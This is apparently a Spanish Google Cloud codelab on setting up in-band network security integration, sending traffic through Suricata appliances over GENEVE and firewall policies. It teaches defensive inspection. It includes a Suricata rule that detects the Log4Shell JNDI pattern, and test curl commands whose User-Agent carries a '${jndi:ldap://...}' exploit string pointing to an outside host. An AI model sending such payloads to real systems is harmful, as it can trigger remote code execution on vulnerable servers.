1. Introducción
Integración de seguridad de redes
La integración de seguridad de redes (NSI) ofrece flexibilidad para mejorar la seguridad de la red de tus cargas de trabajo. Es posible que desees aprovechar un dispositivo creado específicamente por un proveedor de software independiente (ISV) externo o un motor de inspección profunda de paquetes (DPI) para inspeccionar la carga útil. Para permitir una integración perfecta con estos dispositivos de terceros, Google Cloud facilita la implementación transparente de dispositivos sin cambios en la red ni en el enrutamiento.
Google Cloud ofrece dos tipos de integración de seguridad de red: fuera de banda y dentro de banda. En este lab, se explicarán los pasos para implementar la integración de seguridad de red integrada.
Integración de seguridad de red en banda
La integración de seguridad de red proporciona integración en banda con la tecnología de interceptación de paquetes que te permite colocar dispositivos de red de terceros en la ruta del tráfico de red para la inspección transparente de las cargas de trabajo de Google Cloud. Este proceso usa la encapsulación genérica de virtualización de redes (GENEVE) para transportar paquetes de forma segura al dispositivo sin cambiar las direcciones IP de origen y destino originales.
La integración en banda ofrece un enfoque centrado en el servicio para implementar y consumir dispositivos de red intercalados de terceros en modo bump-in-the-wire. Como productor de servicios, puedes publicar un conjunto escalable de dispositivos de red de terceros como una implementación de interceptación. Como consumidor de servicios, puedes usar las políticas y reglas del firewall de nueva generación de Cloud para realizar una selección detallada del tráfico que se redireccionará de forma transparente a un extremo de interceptación local para su inspección.

Figura 1: Arquitectura de implementación de alto nivel del servicio de integración dentro de la banda
Para obtener más información sobre la integración en banda de NSI, consulta la descripción general de la integración en banda.
Productor de servicios integrado
Los productores de servicios son los lugares donde se implementan y administran los dispositivos externos. Puede administrarlo alguien de tu organización (equipo de seguridad, etc.) o un proveedor externo. Los productores registran sus máquinas virtuales, que pueden ser dispositivos de terceros, como backends en un balanceador de cargas de red de transferencia interno en su red de VPC. Estos dispositivos inspeccionan el tráfico de red que se redirecciona a ellos. Luego, los productores de servicios crean implementaciones de interceptores, un recurso zonal que apunta a la regla de reenvío del balanceador de cargas de red de transferencia interno.
Una implementación de intercepción es un recurso zonal que representa el servicio de inspección del productor para una zona específica. Los productores crean implementaciones de interceptores para cada zona en la que implementaron sus VMs.
Un grupo de implementación de intercepción es un recurso global con alcance de proyecto que permite que los consumidores se conecten a los servicios de inspección de un productor. Los productores crean un grupo de implementación de intercepción para agrupar varias implementaciones de intercepción zonales. Los productores usan IAM para controlar qué consumidores pueden conectarse a su grupo de implementación.
Para obtener más información, consulta la Descripción general de los grupos de interceptación de la implementación y la Descripción general de las interceptaciones de la implementación.
Consumidor de servicios dentro de la banda
Los consumidores de servicios usan los servicios de inspección que ofrecen los productores. Los consumidores especifican qué VPC desean inspeccionar y de qué productor. Para ello, los consumidores crean un grupo de extremos de interceptación, un recurso global que representa su lado de la relación productor-consumidor, y vinculan el grupo de extremos de interceptación al grupo de implementación de interceptación del productor.
Para asociar el grupo de extremos de interceptación con las VPC desde las que desean que se inspeccione el tráfico, los consumidores crean una asociación de grupo de extremos de interceptación. Para seleccionar el tráfico que se debe enviar al productor para su inspección, los consumidores crean y usan políticas de firewall de red. Los consumidores crean un grupo de perfiles de seguridad que contiene un perfil de seguridad que hace referencia a su grupo de extremos de intercepción. Luego, los consumidores crean una regla de firewall para redireccionar el tráfico que coincide con criterios específicos a los dispositivos del productor.
Aunque el grupo de extremos de interceptación(IEG) es un recurso a nivel del proyecto, el IEG y la asociación de IEG no tienen que estar en el mismo proyecto. Se puede hacer referencia a un IEG a través de una asociación de IEG desde otros proyectos de tu organización. Representa el lado del consumidor de la relación entre el productor y el consumidor. Los consumidores crean un grupo de extremos de interceptación para consumir el servicio de inspección de un productor. Cada grupo de extremos de interceptación del lado del consumidor está asociado con un solo grupo de extremos de interceptación del lado del productor.
Para obtener más información, consulta la descripción general de las asociaciones y los grupos de extremos de interceptación.
Los consumidores deben crear una regla de política de firewall para redireccionar el tráfico a su grupo de extremos de interceptación. Los consumidores pueden especificar los criterios de coincidencia dentro de la regla de política de firewall, lo que les permite definir qué tráfico deben inspeccionar los dispositivos del productor.
Los consumidores crean un perfil de seguridad de interceptación personalizado para especificar qué grupo de endpoints de interceptación se debe usar para inspeccionar el tráfico.
Los consumidores crean un grupo de perfiles de seguridad para definir un grupo de funciones de inspección de seguridad que se deben aplicar a un subconjunto específico de tráfico. Un grupo de perfiles de seguridad contiene un solo perfil de seguridad de interceptación personalizado.
Qué compilarás

Figura 2: Arquitectura de implementación de alto nivel para este codelab
Para simplificar este codelab, usarás un solo proyecto y crearás dos redes de VPC, además de administrar varios recursos de red y seguridad. En este lab, se mostrará cómo implementar la integración de servicios de red dentro de la banda con un dispositivo de terceros para la inserción transparente de seguridad.
Los flujos que se inspeccionarán se seleccionarán con los parámetros de coincidencia del Firewall de Cloud, incluida la tupla de 5 elementos (IP de origen, IP de destino, protocolo, puerto de origen y puerto de destino). Para simplificar este lab, inspeccionarás todo el tráfico de SALIDA en el puerto TCP 80.
El productor permitirá la entrada desde la IP de la puerta de enlace de la subred de la VPC del productor (10.0.0.1/32) para los paquetes UDP con el puerto de destino 6081, el puerto conocido para GENEVE.
El estado final de la base de reglas de la política de firewall de red será similar al de la siguiente tabla:
Política de red de productores:
Prioridad | Dirección | Protocolo | Destino | Origen | Destino | Puerto de destino | Acción |
100 | Entrada | Todo | Todo | Health-Checks | Cualquiera | Cualquiera | Permitir |
200 | Entrada | Todo | Todo | IAP | Cualquiera | Cualquiera | Permitir |
300 | Entrada | UDP | Todo | 10.0.0.1/32 | Cualquiera | 6081 | Permitir |
Política de red para el consumidor:
Prioridad | Dirección | Protocolo | Destino | Origen | Destino | Puerto de destino | Acción |
200 | Entrada | TCP | Todo | IAP | Cualquiera | 22 | Permitir |
800 | Salida | TCP | Todo | Cualquiera | Cualquiera | 80 | Interceptar |
Qué aprenderás
- Cómo implementar la integración de seguridad de redes en banda
Requisitos
- Organización y proyecto de Google Cloud
- Permisos de IAM adecuados
- Conocimiento sobre la implementación de instancias y la configuración de componentes de redes
- Conocimiento de la configuración del firewall de la política de red
2. Antes de comenzar
Permisos y roles de IAM
Para completar el codelab de integración de seguridad de redes (NSI) en banda, necesitarás los siguientes roles de IAM:
- Administrador de redes de Compute (
roles/compute.networkAdmin): Se requiere para crear y administrar redes de VPC, subredes, Cloud Routers, puertas de enlace de NAT y servicios de backend del balanceador de cargas. - Administrador de seguridad de Compute (
roles/compute.securityAdmin): Es necesario para crear, configurar y asociar políticas y reglas de firewall de red globales. - Administrador de instancias de Compute (
roles/compute.instanceAdmin.v1): Se requiere para implementar, establecer una conexión SSH y, finalmente, borrar los dispositivos de Suricata y las VMs de prueba del consumidor. - Administrador de implementación de intercepción (
roles/networksecurity.interceptDeploymentAdmin): El productor lo usa para crear y administrar implementaciones de intercepción zonales y el grupo de implementación global. - Administrador de extremos de intercepción (
roles/networksecurity.interceptEndpointAdmin): El consumidor lo usa para crear grupos de extremos de intercepción y asociarlos con su red de VPC. - Usuario de implementación de interceptación (
roles/networksecurity.interceptDeploymentUser): Se requiere en el proyecto del productor para otorgar permiso al consumidor para conectarse al grupo de implementación del productor. - Administrador de perfiles de seguridad (
roles/networksecurity.securityProfileAdmin): Se requiere a nivel de la organización para crear y administrar perfiles de seguridad de interceptación personalizados y grupos de perfiles de seguridad. - Administrador de uso del servicio (
roles/serviceusage.serviceUsageAdmin): Es necesario para habilitar las APIs denetworksecurity.googleapis.comycompute.googleapis.comque se requieren para las funciones de la NSI. - Visualizador de proyectos (
roles/viewer): Se necesita para recuperar la configuración del proyecto y la información de la jerarquía de la organización para las variables de entorno que se usan en todo el lab.
APIs de Google Cloud
Asegúrate de que las APIs de Google Cloud necesarias estén habilitadas en tu proyecto.
Habilita las APIs necesarias y ejecuta los siguientes comandos de gcloud en Cloud Shell.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
Crea o actualiza variables
En este codelab, se usan variables para facilitar la implementación de la configuración de gcloud en Cloud Shell.
En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. Acciones del productor
En esta sección, se abarcará el lado de la implementación del productor. Esto incluye la implementación de la VPC, el dispositivo virtual de red de terceros y todos los componentes pertinentes para la integración de la seguridad de red.
Componentes de VPC y Cloud NAT
- Crea la VPC y la subred:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- Obtén la IP de la puerta de enlace de la subred para usarla en la regla de firewall:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- Crea una política y reglas de FW para la VPC de productor. Estas reglas de FW permitirán la entrada para las verificaciones de estado, el IAP y el tráfico proveniente del NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- Asocia la VPC del productor a la política de firewall de red:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- Implementa Cloud Router y Cloud NAT para el dispositivo virtual de red (NVA) de terceros para descargar los paquetes y las actualizaciones necesarios:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
VMs de terceros
En este lab, implementarás Suricata, un servicio de detección de amenazas de código abierto. El comando tiene una secuencia de comandos de inicio que instalará y configurará Suricata. También hay iptables que realizan la traducción de direcciones de red de origen (SNAT) y la traducción de direcciones de red de destino (DNAT) para controlar y responder a los paquetes GENEVE.
- Implementa una NVA de terceros en tu primera zona.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- Implementa una NVA de terceros en tu segunda zona:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Componentes del balanceador de cargas del productor
- Crea una verificación de estado genérica que se use para verificar la disponibilidad de tu NVA de terceros:
gcloud compute health-checks create http nva-hc
- Crea un grupo de instancias no administrado zonal para cada zona:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- Agrega tus instancias a tus grupos de instancias:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
Valida que tus grupos de instancias contengan tus instancias con los siguientes comandos:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
Resultado de muestra:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- Crea un servicio de backend interno de UDP:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- Agrega ambos grupos de instancias al servicio de backend:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- Reserva IPs internas para tus reglas de reenvío. Cada implementación de interceptación requiere una regla de reenvío única:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- Crea la regla de reenvío para cada zona. Esto es obligatorio, ya que la implementación de la interceptación requiere una regla de reenvío única:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Componentes de integración de seguridad de redes
- Crea un grupo de implementación de intercepción:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
Valida que el grupo de implementación se haya creado correctamente:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
Resultado de muestra:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- Crea una implementación de intercepción para cada zona:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Valida que las implementaciones de la interceptación se hayan creado correctamente:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
Resultado de muestra:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
Felicitaciones, completaste la configuración del lado del productor. A continuación, configurarás el lado del consumidor para interceptar el tráfico y enviarlo de forma transparente a los dispositivos de terceros para su aplicación.
4. Acciones del consumidor
Si bien este lab usa VPCs separadas dentro de un solo proyecto para simplificar las cosas, en entornos reales, los recursos del productor y del consumidor pueden residir en proyectos diferentes o incluso en organizaciones diferentes.
Componentes de VPC y Cloud NAT
- Crea la VPC y la subred:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Crea el Cloud Router y la puerta de enlace de Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
Grupo de extremos de intercepción y asociación
- Crea un grupo de extremos de intercepción:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Validación de que el extremo se creó correctamente:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
Resultado de muestra:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- Crea una asociación de grupo de extremos de interceptación que especifique la VPC del consumidor:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Validación:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
Resultado de muestra:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
Perfil de seguridad y grupo de perfiles de seguridad
A continuación, crearás un perfil de seguridad personalizado para la intercepción y lo adjuntarás al grupo de perfiles de seguridad. El perfil de seguridad y el grupo de perfiles de seguridad se usan para la interceptación de paquetes en dispositivos de terceros.
- Sigue estos pasos para crear un perfil de seguridad de interceptación personalizada:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Valida que el perfil de seguridad se haya creado correctamente:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
Resultado de muestra:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- Crea un grupo de perfiles de seguridad:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
Valida que el SPG se haya creado correctamente:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
Resultado de muestra:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
Política, reglas y asociación de firewall
- Crea una política de firewall de red global:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- Crea las reglas de firewall:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- Crea la regla de firewall para interceptar todo el tráfico de salida aprovechando la NSI para enviarlo de forma transparente a nuestro dispositivo de terceros. Esta regla enviará todo el tráfico de salida de TCP:80 para su inspección.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- Asocia la política de firewall de Cloud a la red de VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
VMs de consumidor
- Son las VMs de implementación que se usan para validar la NSI. Implementarás 3 VMs en 3 zonas. Recuerda que solo 2 zonas tienen habilitado el NSI, mientras que $zonec no.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
Prueba de la integración de seguridad de redes dentro de la banda
- Conéctate a la VM en $zonea (consumer-$zonea) a través de SSH. Envía tráfico de prueba:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- Envía tráfico de prueba a http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Resultado esperado:
200
El código de estado HTTP 200 indica que el servidor recibió, comprendió y procesó correctamente la solicitud del cliente.
- Envía solicitudes de log4j que Suricata debería bloquear a través de NSI.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Resultado esperado:
000
El código de respuesta HTTP 000 es un código no oficial y no estándar que utilizan ciertos softwares para indicar que no se recibió ningún código de estado HTTP válido. Es probable que el firewall haya bloqueado la solicitud.
- Sal de la sesión de SSH para regresar a Cloud Shell
exit
- Conéctate a la VM en $zoneb (consumer-$zoneb) a través de SSH
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- De manera similar, envía tráfico de prueba:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Resultado esperado:
200
- Envía la solicitud de log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Resultado esperado:
000
- Sal de la sesión de SSH para regresar a Cloud Shell
exit
- Conéctate a la VM en $zonec (consumer-$zonec) a través de SSH
gcloud compute ssh consumer-$zonec \ --zone $zonec
- De manera similar, envía tráfico de prueba:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Resultado esperado:
200
- Envía la solicitud de log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Resultado esperado:
200
Observa que se procesó la solicitud. Esto es lo esperado porque no configuraste NSI con $zonec. El grupo de extremos de intercepción solo tiene asociaciones para $zonea y $zoneb.
- Sal de la sesión de SSH para regresar a Cloud Shell
exit
Validar que Suricata recibió y bloqueó las solicitudes maliciosas
- Establece una conexión SSH a la VM de Suricata en $zonea (suricata-$zonea) para verificar los registros:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- Consulta los registros filtrados por el tipo de ataque:
cat /var/log/suricata/eve.json | grep log4j
Es posible que veas algunas entradas. Si no ves ninguna entrada, verifica los registros de la VM de Suricata en $zoneb. Resultado de muestra:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- Sal de la sesión de SSH para regresar a Cloud Shell
exit
De manera opcional, puedes establecer una conexión SSH con la VM de Suricata en $zoneb (suricata-$zoneb) y validar los registros.
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
Consulta los registros filtrados por el tipo de ataque:
cat /var/log/suricata/eve.json | grep log4j
Resultado de muestra:
